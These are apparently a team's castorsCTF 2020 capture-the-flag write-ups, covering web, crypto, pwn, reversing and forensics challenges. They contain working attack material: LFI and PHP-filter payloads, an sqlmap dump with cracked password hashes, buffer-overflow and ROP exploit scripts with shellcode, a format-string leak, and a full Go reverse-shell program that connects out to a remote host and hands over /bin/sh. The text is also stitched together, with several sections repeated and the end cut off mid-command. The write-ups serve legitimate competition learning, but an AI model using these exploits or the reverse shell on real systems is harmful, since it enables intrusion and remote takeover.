## QuizSaw a simple quiz app, apparently written in Go. Tried lots of stuff with the questionaire, could provoke a strconv error when setting question number to something that was not a number, but nothing else interesting.
After some directory brute forcing we found /backup/, giving us the soruce code.
### Function & routes```go mux := httprouter.New()
mux.GET("/", index) mux.GET("/test/:directory/:theme/:whynot", super) mux.GET("/problems/math", math) mux.POST("/problems/math", mathCheck)
//Remember to Delete mux.GET("/backup/", backup)``````gofunc super(w http.ResponseWriter, req *http.Request, ps httprouter.Params) { fmt.Println(ps.ByName("whynot")) var file string = "/" + ps.ByName("directory") + "/" + ps.ByName("theme") + "/" + ps.ByName("whynot") test, err := os.Open(file) handleError(w, err) defer test.Close()
scanner := bufio.NewScanner(test) var content string for scanner.Scan() { content = scanner.Text() }
fmt.Fprintf(w, "Directories: %s/%s\n", ps.ByName("directory"), ps.ByName("theme")) fmt.Fprintf(w, "File: %s\n", ps.ByName("whynot")) fmt.Fprintf(w, "Contents: %s\n", content)}```After inspecting the source code we see that the super function gives us LFI, but only the last line in the file we want to view.
We tried alot of stuff, including viewing the .csv files, different files in /proc, until we finally looked at the description hinting to the name jeff.
```bashcurl --path-as-is -g 'http://web1.cybercastors.com:14436/test/home/jeff/flag.txt' -o -Directories: home/jeffFile: flag.txtContents: castorsCTC{wh0_l4iks_qUiZZ3s_4nyW4y}```
## Car LotteryWe're presented with a website that says you need to be visitor number N, for some large number N, in order to buy a car. Inspecting the requests, it's clear that this is set through cookies, and we can gain access by setting the cookie `client=3123248`. This allows us to browse the cars, by querying for data. Probing around here a bit, reveals an SQLi vulnerability in the lookup. We dump the entire database with this.
`python sqlmap.py -o -u "http://web1.cybercastors.com:14435/search" --data "id=1" --cookie="client=3123248" --dump-all`
Inspecting the data, there's a table called `Users` with the following contents:
```Username,Password[email protected],cf9ee5bcb36b4936dd7064ee9b2f139e[email protected],fe87c92e83ff6523d677b7fd36c3252d[email protected],d1833805515fc34b46c2b9de553f599d[email protected],77004ea213d5fc71acf74a8c9c6795fb```
Which are easily cracked
```cf9ee5bcb36b4936dd7064ee9b2f139e:naruto fe87c92e83ff6523d677b7fd36c3252d:powerpuffd1833805515fc34b46c2b9de553f599d:pancakes77004ea213d5fc71acf74a8c9c6795fb:fun```
Here we got stuck for a while, until an admin hinted towards scanning for endpoints. This gave us `http://web1.cybercastors.com:14435/dealer`, where we could use the credentials above to log in and get the flag.
`castorCTF{daT4B_3n4m_1s_fuN_N_p0w3rfu7}`## Mixed FeelingsFound some commented out "php" code.
```php if(isset($file)) { if ($user == falling_down_a_rabit_hole) { exit()? } else { go to .flagkindsir }}```
http://web1.cybercastors.com:14439/.flagkindsir
Found this link
When we click the buttons it posts cookies=cookies or puppies=puppies.
So we tried flags=flags, then on a whim cookies=flag, and it worked.
```bashcurl 'http://web1.cybercastors.com:14439/.flagkindsir' --data-raw "cookies=flag"```
# Crypto## One Trick Ponyjust OTP where the flag is the key. so just input some known plaintext and get encrypted text. ```bash➜ Mixed Feelings echo -n "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc chals20.cybercastors.com 14422
> b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13'```Then XOR the encrypted text with the known plaintext.```python>>> from pwn import xor>>> xor("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13')b'cstorsCTF{k33p_y0ur_k3y5_53crcstorsCTF{k33p_y0'```
## Magic School BusHere we're presented with a service that serves up a scrambled flag, and can scramble arbitrary inputs. There's two ways to solve this: modify the input until its scrambled output matches the flag output, or figure out the scramble. We figured out the scramble indexes by scrambling strings like "BAAA...", "ABAA..." and noting where the 'B' ended up each time. Then applied this in reverse to the scrambled flag.
```pythonfrom pwn import *
lookup = []flag_len = 46
r = remote("chals20.cybercastors.com", 14421)
for i in range(flag_len): s = list("A"*flag_len) s[i] = "B" s = ''.join(s) r.sendline("1") _ = r.recv() r.sendlineafter("Who's riding the bus?: ", s) resp = r.recvline().strip().split()[2] lookup.append(resp.index("B"))
# lookup = [11, 23, 17, 5, 34, 40, 0, 29, 12, 24, 18, 6, 35, 41, 1, 30, 13, 25, 19, 7, 36, 42, 2, 31, 14, 26, 20, 8, 37, 43, 3, 32, 15, 27, 21, 9, 38, 44, 4, 33, 16, 28, 22, 10, 39, 45]
assert sorted(lookup) == range(flag_len)
r.sendline("2")r.recvuntil("Flag bus seating: ")flag = r.recvline()print flag # SNESYT3AYN1CTISL7SRS31RAFSKV3C4I0SOCNTGER0COM5
final_flag = [None] * flag_lenfor i in range(flag_len): final_flag[i] = flag[lookup[i]]
print(''.join(final_flag))```
Adding underscores we get `CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}`
## WarmupSimple math, using the formulas`a=p+q, b=p-q, a^2+b^2=c^2, A=a*b/2`we end up with an equation for q and p alone, e.g.`2*q^2 = (c^2)/2 - A/2`
However, the `c` variable we've been given, is actually `c^2`, so the results were strange at first. After figuring this out, we can calculate p and q to decrypt the flag.
```pythonp = gmpy2.iroot(((c) // 4) - A, 2)[0]q = gmpy2.iroot(((c) // 4) + A, 2)[0]d = gmpy2.invert(e, (p-1)*(q-1))m = pow(enc, d, p*q)# castorsCTF{n0th1ng_l1k3_pr1m3_numb3r5_t0_w4rm_up_7h3_3ng1n3s}```
## Two PathsInside the image, there's some binary code that sends us off to `https://ctf-emoji-cipher.s3.amazonaws.com/decode_this.html`. And inside one of the color planes, we see a link sending us to `https://ctf-emoji-cipher.s3.amazonaws.com/text_cipher.htm`. I assume these are the two paths.
The first page has a ton of emojis, intersped with symbols like `_{},.!`. Removing all non-emojis, we see that there's 26 unique emojis, so it's likely a mapping to the English alphabet. Doing some basic tests does not reveal a probable mapping though, so it's likely some gibberish in the text. However, the second URL shows a message log between two persons, where one is speaking with text and the other in emoji. From the inital few sentences, we can guess that the emoji man is saying "hi" and "all good, you?". Using these translations lets us guess more and more letter mappings, until we have the entire text recovered.
```congratulations!_if_you_can_read_this,_then_you_have_solved_the_cipher!_we_just_hope_you_found_a_more_efficient_way_for_deciphering_than_going_one_by_one_or_else_you_won't_get_through_the_next_part_very_quickly._maybe_try_being_a_little_more_lazy!```
This text block is followed by a ton of flag-looking strings, where only one of them is the actual flag. This is why statistical tests failed to automatically decrypt this.
`castorsCTF{sancocho_flag_qjzmlpg}`
## Bagel BytesWe solved this before the code was released, and we're a bit unsure why such a huge hint was revealed after the challenge had been solved.
In this challenge, we get access to a service that lets us encrypt our own plaintexts, and also encrypt the flag with a chosen prefix. Fiddling about a bit, reveals that this is AES in ECB mode, which has a very common attack if you're given an oracle like here. Just ask the server to encrypt `"A"*15 + flag`. Then encrypt blocks like `"A"*15 + c` for every `c` in the printable alphabet, until you find a block similar to the flag block. This reveals a single letter of the flag. Now replace the last "A" with the first letter of the recovered flag, and repeat until the entire block is recovered.
To recover the next block, we can just use the first block as a prefix instead of using `"A"`, and look at the next block of the output. Here's some code for recovering the first block.
```pythonfrom pwn import *from string import printable
ALPHA = printable.strip()ALPHA = ALPHAr = remote("chals20.cybercastors.com", 14420)
def bake(s): r.sendlineafter("Your choice: ", "1") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
def bakeflag(s): r.sendlineafter("Your choice: ", "2") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
flag = ""for i in range(16): target = bakeflag("A"*(15-i))[:32] print("Target", target) for c in ALPHA: h = bake((flag + c).rjust(16, "A")) print("h", c, h) if target == h: flag += c print(flag) break else: assert False
# flag = "castorsCTF{I_L1k"```
Repeating this 3 times, looking at higher offsets when picking the `target` variable, we recover `castorsCTF{I_L1k3_muh_b4G3l5_3x7r4_cr15pY}`.
## Jigglypuff's songInstead of LSB stego, this challenge opted to do MSB stego. Simply use stegsolve to pick out the MSB of red, green and blue layers to recover a long text of rickrolls and `castorsCTF{r1ck_r0ll_w1ll_n3v3r_d3s3rt_y0uuuu}`## AmazonEach letter of the flag has been multiplied with a prime number, in increasing order.
```pythonimport gmpy2nums = [198,291,575,812,1221,1482,1955,1273,1932,2030,3813,2886,1968,4085,3243,5830,5900,5795,5628,3408,7300,4108,10043,8455,6790,4848,11742,10165,8284,5424,14986,6681,13015,10147,7897,14345,13816,8313,18370,8304,19690,22625]
flag = ""p=2
for num in nums: flag += chr(num // p) p = gmpy2.next_prime(p)
print(flag)```## 0x101 DalmatiansA continuation of Amazon, the change here is that the result is taken modulo 0x101```pythonimport gmpy2
nums = [198, 34, 61, 41, 193, 197, 156, 245, 133, 231, 215, 14, 70, 230, 33, 231, 221, 141, 219, 67, 160, 52, 119, 4, 127, 50, 19, 140, 201, 1, 101, 120, 95, 192, 20, 142, 51, 191, 188, 2, 33, 121, 225, 93, 211, 70, 224, 202, 238, 114, 194, 38, 56]
flag = ""p=2
for num in nums: for i in range(256): if (p*i) % 0x101 == num: flag += chr(i) break p = gmpy2.next_prime(p)
print(flag)```## Stalk MarketTo obtain the flag here, we need to guess the highest price out of 12 possibilities, 20 times in a row. The prices are picked based on some buckets of numbers, all rolled from the python random module. We're also given a commit hash for each price, to prove that the price was indeed pre-determined. We're also given the price of monday at AM each round.
The hashing algorithm does the following:
- Set initial state to a constant- Pad input and split into chunks of 16 bytes- For each chunk, do 8 rounds of:-- XOR state with the chunk-- Perform sbox lookup for each byte in the state-- Permute all state bytes according to a pbox.
The commit hashes are computed like `hash(secret + pad("mon-am-123"))`, where the secret value is exactly 16 bytes, or 1 chunk. The same secret is used for every price in a given round, and is also revealed after our guess for verification purposes.
A huge flaw here, is that after processing the secret block, the state will be **the same** for each calculated price. Then it applies the hashing algorithm to the time+price string. We can then basically say that the state after the first 8 rounds, is the actual initial state, instead of the secret. Since we know the price for monday at 12, we can undo all the hashing steps for the last block, to recover this "new secret". Then we can brute-force the prices for each time of the day, starting at the new secret, until it matches the commit we've been given. Now we know the prices, and can easily make the right guess.
```pythonfrom pwn import *
def pad(s): if len(s) % 16 == 0: return s else: pad_b = 16 - len(s) % 16 return s + bytes([pad_b]) * pad_b
def repeated_xor(p, k): return bytearray([p[i] ^ k[i] for i in range(len(p))])
def group(s): return [s[i * 16: (i + 1) * 16] for i in range(len(s) // 16)]
sbox = [92, 74, 18, 190, 162, 125, 45, 159, 217, 153, 167, 179, 221, 151, 140, 100, 227, 83, 8, 4, 80, 75, 107, 85, 104, 216, 53, 90, 136, 133, 40, 20, 94, 32, 237, 103, 29, 175, 127, 172, 79, 5, 13, 177, 123, 128, 99, 203, 0, 198, 67, 117, 61, 152, 207, 220, 9, 232, 229, 120, 48, 246, 238, 210, 143, 7, 33, 87, 165, 111, 97, 135, 240, 113, 149, 105, 193, 130, 254, 234, 6, 76, 63, 19, 3, 206, 108, 251, 54, 102, 235, 126, 219, 228, 141, 72, 114, 161, 110, 252, 241, 231, 21, 226, 22, 194, 197, 145, 39, 192, 95, 245, 89, 91, 81, 189, 171, 122, 243, 225, 191, 78, 139, 148, 242, 43, 168, 38, 42, 112, 184, 37, 68, 244, 223, 124, 218, 101, 214, 58, 213, 34, 204, 66, 201, 180, 64, 144, 147, 255, 202, 199, 47, 196, 36, 188, 169, 186, 1, 224, 166, 10, 170, 195, 25, 71, 215, 52, 15, 142, 93, 178, 174, 182, 131, 248, 26, 14, 163, 11, 236, 205, 27, 119, 82, 70, 35, 23, 88, 154, 222, 239, 209, 208, 41, 212, 84, 176, 2, 134, 230, 51, 211, 106, 155, 185, 253, 247, 158, 56, 73, 118, 187, 250, 160, 55, 57, 16, 17, 157, 62, 65, 31, 181, 164, 121, 156, 77, 132, 200, 138, 69, 60, 50, 183, 59, 116, 28, 96, 115, 46, 24, 44, 98, 233, 137, 109, 49, 30, 173, 146, 150, 129, 12, 86, 249]p = [8, 6, 5, 11, 14, 7, 4, 0, 9, 1, 13, 10, 2, 3, 15, 12]round = 8
inv_s = [sbox.index(i) for i in range(len(sbox))]inv_p = [p.index(i) for i in range(len(p))]
DAYTIMES = ["mon-pm", "tue-am", "tue-pm", "wed-am", "wed-pm", "thu-am", "thu-pm", "fri-am", "fri-pm", "sat-am", "sat-pm"]
def reverse_state(s, guess): state = bytes.fromhex(s) for _ in range(round): temp = bytearray(16) for i in range(len(state)): temp[inv_p[i]] = state[i] state = temp
for i in range(len(state)): state[i] = inv_s[state[i]]
state = repeated_xor(state, guess) return state.hex()
def hash(data, init): state = bytes.fromhex(init) data = group(pad(data)) for roundkey in data: for _ in range(round): state = repeated_xor(state, roundkey) for i in range(len(state)): state[i] = sbox[state[i]] temp = bytearray(16) for i in range(len(state)): temp[p[i]] = state[i] state = temp return state.hex()
r = remote("chals20.cybercastors.com", 14423)
for _ in range(20): _ = r.recvuntil("Price commitments for the week: ") hashes = [e.decode() for e in r.recvline().rstrip().split()] _ = r.recvuntil("Monday AM Price: ") monam_price = r.recvline().strip().decode() guess = pad(f"mon-am-{monam_price}".encode()) init = reverse_state(hashes[0], guess)
best_price = int(monam_price) best_time = "mon-am"
for ix, time in enumerate(DAYTIMES): for price in range(20, 601): guess = pad(f"{time}-{price}".encode()) h = hash(guess, init) if h == hashes[ix+1]: print(time, price) if price > best_price: best_price = price best_time = time break else: assert False r.sendline(best_time)
r.interactive()```
`Even Tom Nook is impressed. Here's your flag: castorsCTF{y0u_4r3_7h3_u1t1m4t3_turn1p_pr0ph37}`
# PWN
## abcbofVery simple buffer overflow, to overwrite the next variable with `CyberCastors`. Simply send a string with tons of padding, which ends in `CyberCastors`. Even when unsure about the exact padding length, multiple lengths can be tested.
## babybof1 part 1ROP to the `get_flag` function.```pythonfrom pwn import *import time
context.arch = "x86_64"
elf = ELF("babybof")r = remote("chals20.cybercastors.com", 14425)
payload = "A"*264payload += p64(elf.symbols["get_flag"])r.sendline(payload)r.shutdown("send")r.interactive()```Running it yields the flag: `castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}`
## babybof1 pt2Same start as the babybof1 challenge, except this time we need a shell. Since the stack is executable, and RAX contains a pointer to the array `gets()` wrote to, we use a "jmp rax" gadget to execute our shellcode.
*Replaces the payload in pt 1*
```pythonJMP_RAX = 0x0000000000400661payload = asm(shellcraft.sh()).ljust(264, "\x90")payload += p64(JMP_RAX)r.sendline(payload)r.interactive()```When we have a shell we can cat the `shell_flag.txt````consoleWelcome to the cybercastors BabybofSay your name: sh: 0: can't access tty; job control turned off$ lsbabybof flag.txt shell_flag.txt$ cat shell_flag.txtcastorsCTF{w0w_U_jU5t_h4ck3d_th15!!1_c4ll_th3_c0p5!11}```
## Babybof2We get a binary file called`winner` and a service to connect to.When running the program it asks for which floor the winners table is at. After opening up the program in IDA, we quickly find an unused function called `winnersLevel`. The function checks if the argument of this function is either one of two integers (258 (0x102) or 386 (0x182)). If the number is correct it prints the flag, or else it prints an info message that the badge number is not correct. We can overflow the input buffer using gets and overwrite the return address with the address of the `winnersLevel` function. We also need to send in the correct argument to this function to get the flag.
```python#!/usr/bin/env python3from pwn import *
exe = context.binary = ELF('winners')host = args.HOST or 'chals20.cybercastors.com'port = int(args.PORT or 14434)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''tbreak maincontinue'''.format(**locals())
# -- Exploit --- #io = start()
winners_addr = exe.symbols["winnersLevel"] # Address of the winnersLevel functionp = cyclic(cyclic_find(0x61616174)) # Send input of cyclic 100 to program to find the offset where we can write a new return address.p+= p32(winners_addr)p+= b'a'*4p+= p32(0x102) # Send in the correct integer value the function expects to print the flag
if args.LOCAL: io.sendlineafter('is the table at: \n', p)else: io.sendline(p) # Some issues with the remote service, se we need to send the exploit right away and not wait for any prompt. io.interactive()```The flag is: `castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}`
## babyfmtSimple format string
Spammed some `%lx` and after decoding the hex I could see the flag, narrowed down to the `%lx`'s I needed.```cnc chals20.cybercastors.com 14426
Hello everyone, this is babyfmt! say something: %8$lx%9$lx%10$lx%11$lx%12$lx%13$lx%8$lx%9$lx%10$lx%11$lx%12$lx%13$lx4373726f747361635f6b34336c7b46543468745f6b34336c74346d7230665f745f366e317274735f7d6b34336c```
decoded the hex string, however the flag was divided into 8 char indices which had to be reversed, which I did with python.
```python>>> s = "Csrotsac_k43l{FT4ht_k43lt4mr0f_t_6n1rts_}k43l">>> "".join([s[i:i+8][::-1] for i in range(0,len(s),8)])'castorsCTF{l34k_l34k_th4t_f0rm4t_str1n6_l34k}'```
# Rev
## Reverse-meThe binary is reading a flag.txt file, applies some mapping function on each of the bytes, and dump them to the screen. Then it asks us to input the flag for verification.
We solved this by just encrypting A-Z, a-z, 0-9 etc. and creating a mapping table for it.
```pythonlookup = {e2:e1 for e1, e2 in zip("abcdefghijklmnopqrstuvwx", "6d6e6f707172737475767778797a6162636465666768696a".decode('hex'))}for e1, e2 in zip("ABCDEFGHIJKLMNOPQRSTUVWX", "434445464748494a4b4c4d4e4f505152535455565758595a".decode('hex')): assert not e2 in lookup lookup[e2] = e1for e1, e2 in zip("0123456789", "32333435363738393a3b".decode('hex')): assert not e2 in lookup lookup[e2] = e1
flag = "64 35 68 35 64 37 33 7a 38 6b 33 37 6b 72 67 7a".replace(" ","").decode('hex')print(''.join(lookup.get(e,'_') for e in flag))```
`castorsCTF{r3v3r51n6_15_fun}`## MappingVery similar to the Reverse-me challenge, except it's golang, and the output is base64-encoded before comparing it to the scrambled flag. I input the entire ASCII alphanum charset, set a breakpoint in the base64-encoding function, and read out the mapping table that was given as an argument to it. Then I extract the encoded flag used for comparison, decoded it and undid the mapping.
```pythonimport base64from string import maketrans
a = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"b = "5670123489zyxjklmdefghinopqrstuvwcbaZYXFGABHOPCDEQRSTUVWIJKNML"flag = "eHpzdG9yc1hXQXtpYl80cjFuMmgxNDY1bl80MXloMF82Ml95MDQ0MHJfNGQxbl9iNXVyMn0="
tab = maketrans(b,a)
print(base64.b64decode(flag).translate(tab))```
`castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur5}`
## RansomThe binary here, is basically encrypting flag.png, and we're provided with an encrypted flag file and a traffic log. Looking at the file length, it's reasonable to believe that it's a stream cipher, which often can be undone by simply encrypting again. This is because stream ciphers often just XOR the plaintext with a bytestream.
But before the binary tries to encrypt, it tries to contact a webserver at 192.168.0.2:8081 and ask for a seed. If it is not able to successfully complete a handshake with this server, it will pick a random seed based on the current time.
We set up a basic flask server that with the endpoint `/seed`, that responds `1337` to GET requests and `ok\n` to POST requests. This matches the traffic seen in the traffic log. When we apply this to the original flag file, we get a valid PNG file with the flag on it. (Until we added the newline, it randomly encrypted things every time).

## OctopusBefore the new binary was dropped, this challenge looked like a very hard encoding challenge. After the update, it's a matter of removing the certificate header/footer, fixing newlines with dos2unix, then decoding the base64 into an ELF file. Running this ELF, spits out the flag in base64-encoded form.
```bashroot@bd2ba35b12d7:/ctf/work# ./obfusEstou procurando as palavras para falar em inglês ...Aqui vou[Y 2 F z d G 9 y c 0 N U R n t X a D B f c z Q x Z F 9 B b l k 3 a G x u R 1 9 C M H V U X 2 0 0 d E h 9]```
`castorsCTF{Wh0_s41d_AnY7hlnG_B0uT_m4tH}`
|
# Cybercastors writeups for team bootplug
# Misc## Password crack 3```7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12
This one needs to be in the flag format first...```
The solution here was to use a custom ruleset with hashcat, that applied the flag format to all password candidates: `^{^F^T^C^s^r^o^t^s^a^c$}`. Running rockyou.txt with this rule, produced the solution:`7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12:castorsCTF{theformat!}`## Pitfall```sylv3on_ was visiting cybercastors island and thought it'd be funny to bury the flag.txt. Can you help us DIG it out?```
```$ dig -t TXT cybercastors.com
; <<>> DiG 9.11.9 <<>> -t TXT cybercastors.com...;; ANSWER SECTION:cybercastors.com. 299 IN TXT "v=spf1 include:_spf.google.com ~all"cybercastors.com. 299 IN TXT "flag=castorsCTF{L00K_1_DuG_uP_4_fL4g_464C4147}"```## To plant a seed```Did you know flags grow on trees? Apparently if you water them a specific amount each day the tree will grow into a flag! The tree can only grow up to a byte each day. I planted my seed on Fri 29 May 2020 20:00:00 GMT. Just mix the amount of water in the list with the tree for 6 weeks and watch it grow!```A file with the following sequence was provided:```Watering Pattern: 150 2 103 102 192 216 52 128 9 144 10 201 209 226 22 10 80 5 102 195 23 71 77 63 111 116 219 22 113 89 187 232 198 53 146 112 119 209 64 79 236 179```
Guessing that this is about PRNG seeds, and the pattern is a flag XORed with the output, we need to find a PRNG that, when seeded with the given date, outputs numbers such that `150 ^ random_1 = 'c'` and `2 ^ random_2 = 'a'`, etc. After trying a few variants, like libc and different versions of Python, and testing ways to mask the output to 8-bit numbers, I figured out that they used Python3 and `random.randint(0,255)`.
```pythonimport randomrandom.seed(1590782400)
nums = [150,2,103,102,192,216,52,128,9,144,10,201,209,226,22,10,80,5,102,195,23,71,77,63,111,116,219,22,113,89,187,232,198,53,146,112,119,209,64,79,236,179]
print(''.join(chr(e ^ random.randint(0,255)) for e in nums))# castorsCTF{d0n7_f0rg37_t0_73nd_y0ur_s33ds}```
# Coding## Arithmetics```pythonfrom pwn import *
r = remote("chals20.cybercastors.com", 14429)r.sendlineafter("ready.\n", "")
lookup = {"one":"1", "two":"2", "three":"3", "four":"4", "five":"5", "six":"6", "seven":"7", "eight":"8", "nine": "9", "minus":"-", "plus":"+", "multiplied-by":"*", "divided-by":"//"}
for count in range(100): q = r.recvline() print(count, q) _, _, a, op, b, _ = q.split(" ") if a in lookup: a = lookup[a] if b in lookup: b = lookup[b] if op in lookup: op = lookup[op]
r.sendline(str(eval(a+op+b))) print r.recvline() count += 1
r.interactive()```## Base Runner
Saw that it was binary -> octal -> hex -> base64.Just built upon an ugly one liner in python and pwntools, looped it 50 times and got the flag ```pythonfrom pwn import *from base64 import b64decode
r = remote("chals20.cybercastors.com",14430)
r.recvuntil("ready.")r.sendline("\n")r.recvline()
for i in range(50): r.sendline(b64decode("".join([chr(int(nnn,16)) for nnn in "".join([chr(int(nn,8)) for nn in "".join([chr(int(n,2)) for n in r.recvline().decode().strip().split(" ")]).split(" ")]).split(" ")])).decode()) print(r.recvline())
r.interactive()```## Flag GodsThe service asks us to provide the hamming distance between a string and some hexadecimal output. This is easily accomplished by decoding the hex string, then bitwise XORing the strings, and counting the number of "1" bits in the result.
```pythonfrom pwn import *from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
r = remote("chals20.cybercastors.com", 14431)r.sendline("")
for iteration in range(80): _ = r.recvuntil("Transmitted message: ") m1 = r.recvline().rstrip() _ = r.recvuntil("Received message: ") m2 = r.recvline().rstrip().decode('hex') hamming = bin(b2l(xor(m1,m2))).count("1") r.sendline(str(hamming))
if iteration == 79: break
print iteration print r.recvline() print r.recvline()
r.interactive()```## Glitchity GlitchAfter randomly trying a few options in the menu, I found a sequence that led to infinite selling. Instead of figuring out the bugs, or trying to optimize it any further, I just looped until I had enough money to buy the flag.
```pythonfrom pwn import *
context.log_level = "debug"
r = remote("chals20.cybercastors.com", 14432)
r.sendlineafter("Choice: ","1")r.sendlineafter("Choice: ","2")r.sendlineafter("Choice: ","3")r.sendlineafter("Choice: ","6")
for _ in range(6000//20): r.sendlineafter("Choice: ", "0") r.sendlineafter("Choice: ", "1")
r.sendline("5") # castorsCTF{$imPl3_sTUph_3h?}
r.interactive()```
# Forensics
## LeftoversThis is HID data, but with a slight twist where multiple keys are being sent in the same packet. First we extract all the HID data packets.
`tshark -r interrupts.pcapng -T fields -e usb.capdata > usbdata.txt`
Some manual cleanup is required afterwards; namely deleting blank lines and deleting metadata PDUs (which have a different length).
After this, you just run your run-of-the-mill HID parser, just to see that it doesn't support Caps Lock, and assumes only one key is arriving at any point. Adding caps-lock support, I'm left with
`what dooyoo thhnng yyuu will ffnnn herr? thhss? csstossCTF{1stiswhatyoowant}`
and these letters that are pressed, but couldn't be merged with the earlier output: `uuuiiioooiiiddeeiiiaarruu`. Through manual comparison of the provided strings, and filtering out some double letters, it's clear that the flag must be `castorsCTF{1stiswhatyouwant}`.
## ManipulationThe challenge has a .jpg file, but the contents are actually output from `xxd`. The first line is also moved to the bottom. We can undo this by moving the last line to the top, using a text editor, then running `xxd -r` on the file. This produces a valid JPG file with two flags on it. The last flag was the correct one.
## Father Taurus Kernel Import!Loaded dump into Autopsy, let it scan. Found a deleted file `Secrets/_lag.txt` (originally flag.txt?) with contents`Y2FzdG9yc0NURntmMHIzbnMxY1NfbHNfSVRzXzBXbl9iMFNTfQ==`, which after base64 decoding becomes `castorsCTF{f0r3ns1cS_ls_ITs_0Wn_b0SS}`.
# General
# Web
## Bane ArtThis challenge has a very obvious LFI vulnerability, and php wrappers are enabled. After some probing around, reading files with`http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=<FILENAME>`and abusing `/proc/self/fd/7` as a semi-RCE, we find the flag located at`/home/falg/flag/test/why/the/hassle/right/flag.txt`.
Final payload is then `http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=/home/falg/flag/test/why/the/hassle/right/flag.txt`
`castorsCTF{w3lc0m3_2_D4_s0urc3_YoUng_Ju4n}`
## ShortcutsSaw you could upload your own shortcuts, however if you uploaded `<filename>` and clicked it, the webapp tried to `go run <filename>.go`. I circumvented this by just uploading `<filename>` and `<filename>.go` to the shortcuts app with the same content, then clicking the `<filename>` link.
the go code I uploaded was some sample rev-shell code from pentestmonkey.```gopackage main
import ( "net" "os/exec" "time")
func main() { reverse("167.99.202.x:8080")}
func reverse(host string) { c, err := net.Dial("tcp", host) if nil != err { if nil != c { c.Close() } time.Sleep(time.Minute) reverse(host) }
cmd := exec.Command("/bin/sh") cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c cmd.Run() c.Close() reverse(host)}```
After that I found the flag in /home/tom/flag.txt
## QuizSaw a simple quiz app, apparently written in Go. Tried lots of stuff with the questionaire, could provoke a strconv error when setting question number to something that was not a number, but nothing else interesting.
After some directory brute forcing we found /backup/, giving us the soruce code.
### Function & routes```go mux := httprouter.New()
mux.GET("/", index) mux.GET("/test/:directory/:theme/:whynot", super) mux.GET("/problems/math", math) mux.POST("/problems/math", mathCheck)
//Remember to Delete mux.GET("/backup/", backup)``````gofunc super(w http.ResponseWriter, req *http.Request, ps httprouter.Params) { fmt.Println(ps.ByName("whynot")) var file string = "/" + ps.ByName("directory") + "/" + ps.ByName("theme") + "/" + ps.ByName("whynot") test, err := os.Open(file) handleError(w, err) defer test.Close()
scanner := bufio.NewScanner(test) var content string for scanner.Scan() { content = scanner.Text() }
fmt.Fprintf(w, "Directories: %s/%s\n", ps.ByName("directory"), ps.ByName("theme")) fmt.Fprintf(w, "File: %s\n", ps.ByName("whynot")) fmt.Fprintf(w, "Contents: %s\n", content)}```After inspecting the source code we see that the super function gives us LFI, but only the last line in the file we want to view.
We tried alot of stuff, including viewing the .csv files, different files in /proc, until we finally looked at the description hinting to the name jeff.
```bashcurl --path-as-is -g 'http://web1.cybercastors.com:14436/test/home/jeff/flag.txt' -o -Directories: home/jeffFile: flag.txtContents: castorsCTC{wh0_l4iks_qUiZZ3s_4nyW4y}```
## Car LotteryWe're presented with a website that says you need to be visitor number N, for some large number N, in order to buy a car. Inspecting the requests, it's clear that this is set through cookies, and we can gain access by setting the cookie `client=3123248`. This allows us to browse the cars, by querying for data. Probing around here a bit, reveals an SQLi vulnerability in the lookup. We dump the entire database with this.
`python sqlmap.py -o -u "http://web1.cybercastors.com:14435/search" --data "id=1" --cookie="client=3123248" --dump-all`
Inspecting the data, there's a table called `Users` with the following contents:
```Username,Password[email protected],cf9ee5bcb36b4936dd7064ee9b2f139e[email protected],fe87c92e83ff6523d677b7fd36c3252d[email protected],d1833805515fc34b46c2b9de553f599d[email protected],77004ea213d5fc71acf74a8c9c6795fb```
Which are easily cracked
```cf9ee5bcb36b4936dd7064ee9b2f139e:naruto fe87c92e83ff6523d677b7fd36c3252d:powerpuffd1833805515fc34b46c2b9de553f599d:pancakes77004ea213d5fc71acf74a8c9c6795fb:fun```
Here we got stuck for a while, until an admin hinted towards scanning for endpoints. This gave us `http://web1.cybercastors.com:14435/dealer`, where we could use the credentials above to log in and get the flag.
`castorCTF{daT4B_3n4m_1s_fuN_N_p0w3rfu7}`## Mixed FeelingsFound some commented out "php" code.
```php if(isset($file)) { if ($user == falling_down_a_rabit_hole) { exit()? } else { go to .flagkindsir }}```
http://web1.cybercastors.com:14439/.flagkindsir
Found this link
When we click the buttons it posts cookies=cookies or puppies=puppies.
So we tried flags=flags, then on a whim cookies=flag, and it worked.
```bashcurl 'http://web1.cybercastors.com:14439/.flagkindsir' --data-raw "cookies=flag"```
# Crypto## One Trick Ponyjust OTP where the flag is the key. so just input some known plaintext and get encrypted text. ```bash➜ Mixed Feelings echo -n "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc chals20.cybercastors.com 14422
